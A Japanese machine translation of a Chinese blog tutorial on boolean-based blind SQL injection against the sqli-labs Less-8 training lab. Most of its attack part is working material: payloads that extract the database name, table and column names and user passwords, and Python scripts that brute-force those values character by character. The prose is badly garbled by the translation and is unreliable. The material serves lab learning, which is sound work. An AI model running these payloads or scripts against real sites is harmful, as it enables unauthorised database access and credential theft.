SQLインジェクション学習 - ブールブラインド

はじめに:詳細に研究に、例えば射出エラーとしてエコー注入法に電源を入れる前に、フロント9でこの時間を学んブールブラインド

まず、ブラインドの概念で見てみましょう

注射はブラインドであるコンテンツデータを推測する場合、実施例SQLインジェクションの知識がなくても、データベースから返された値を指します。

ブールブラインド

原理:
注入時間が返されますTrue和Falseブラインドがブールページが表示されます基づいているので、True还是Falseデータベースの推測で情報を。

ブールブラインドは最初にこれらの機能を見て、いくつかの補助機能を必要とします

length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符

具体的な使用方法は、ブログギャングスターを参照することができますMySQLの構文の説明、その後経由で、SQL-ラボブールブラインドを行使する。

注入点分析(すなわち閉じ記号)は
入力が検出されたid=1'与えられ

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

id=1'、後に追加したコメント記号を、次にエコーが正しいか、符号が閉じていると判断されます'

データベースは、長さがバースト
シンボルを閉じた後、データベース名のバーストの長さでの外観は、ここでは上記の機能に使用させて知っています

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+

エコーが正しい
ここに画像を挿入説明
手で注入し、その後、我々は、データベース名の長さという結論の背中の長さを増加させる、何度も何度も試してみなければなりません8

爆発のデータベース名は、
データベース名を爆破する上で、その後、データベース名の長さを知っています

Less-8/?id=1' and  ord(substr(database(),1,1))>99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+

原則は同じですが、目的は、データベースの名前を推測するためにASCIIコードを比較することにより、文字のデータベース名を削除することですが、あなたは手動で時間の無駄、その後、バーストならば、あなたは書くことができ脚本、また使用することができburp爆破、ここで、試してみるには2つの方法があります

げっぷブラスト
第一の捕捉
ここに画像を挿入説明
変数を設定し、これを選択するために、2つの変数の上にボックスが提供され、第四个选项
ここに画像を挿入説明
最初の変数はに設定されているnumbers1-8、第二の可変もに設定されているnumbers0〜127
ここに画像を挿入説明
の設定、およびブラスト開始されます。
しかし、あまりにも遅く、来るブラストやスクリプト、この方法について学ぶために、ここで設定し、私はゲップ問題があるはずです。
ここに画像を挿入説明
ギャングブログの取り付け使用げっぷブラインド
ブラストスクリプトを
、あなたはギャングスター参照について学ぶ、意志はない書き込みを、現在のスクリプトを
ギャングがブログブールブラインドの
いくつかは、以下のギャングにブログを参照するための構文を理解していないスクリプト
Pythonはリクエスト
のPythonを- -エントリ(DEF関数定義関数)
フォーマットされた出力文字列

import requests
def database_len():
	for i in range(1,10):
		url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
		payload = '''?id=1' and length(database())>%s''' %i  #格式化输出字符串
		# print(url+payload+'%23')
		r = requests.get(url+payload+'%23')
		if 'You are in' in r.text:
			print(i)
 
		else:
			#print('false')
			print('database_length:',i)
			break
database_len()
 
def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('database_name:',name)

database_name()

ここに画像を挿入説明
ブロークデータベース名と長さは、ペイロードを変更破ったテーブル名の
ペイロードを:

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>90 --+

スクリプトを変更

import requests

def table_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('table_name:',name)

table_name()

変更することにより、limit 0,1追加のテーブルを取得するために
ここに画像を挿入説明
、列名バースト
ペイロードを:

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+

カラム名のうち、スクリプトRANを変更

import requests

def column_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
				name = name+i
				
				print(name)
				
				break
	print('column_name:',name)

column_name()

ここに画像を挿入説明
その他の変更のlimit値が他の列名の後に導出することができます

バースト値

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+  

そしてまた、上記と同じスクリプトは、単に次のペイロードを変更するが、スクリプトは、欠陥があるトラバースに、であることが、私たちは割り当てるiだけ追加し、他の特殊文字が表示されない文字だけが小文字、大文字またはがあるかもしれませんライン上。しかし、そうするためには、スクリプトを実行するために、またはのpythonを学ぶために、より便利を書く非常に遅くなります。

一般的にブール文を使用ブラインドをまとめるために、

データベースのバースト長

?id=1' and (length(database()))>1 --+

爆発データベース名

?id=1' and (ascii(substr(database(),1,1)))>1 --+

バーストテーブル

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+

爆発の列名

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+

バースト値

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+  

必要に応じてほぼ同じ文では、我々はブールブラインド、ブラインド学習時間を学ぶために、この時間は、それらを変更することができます。

公開された71元の記事 ウォン称賛80 ビュー10000 +

おすすめ

転載: blog.csdn.net/qq_43431158/article/details/97280866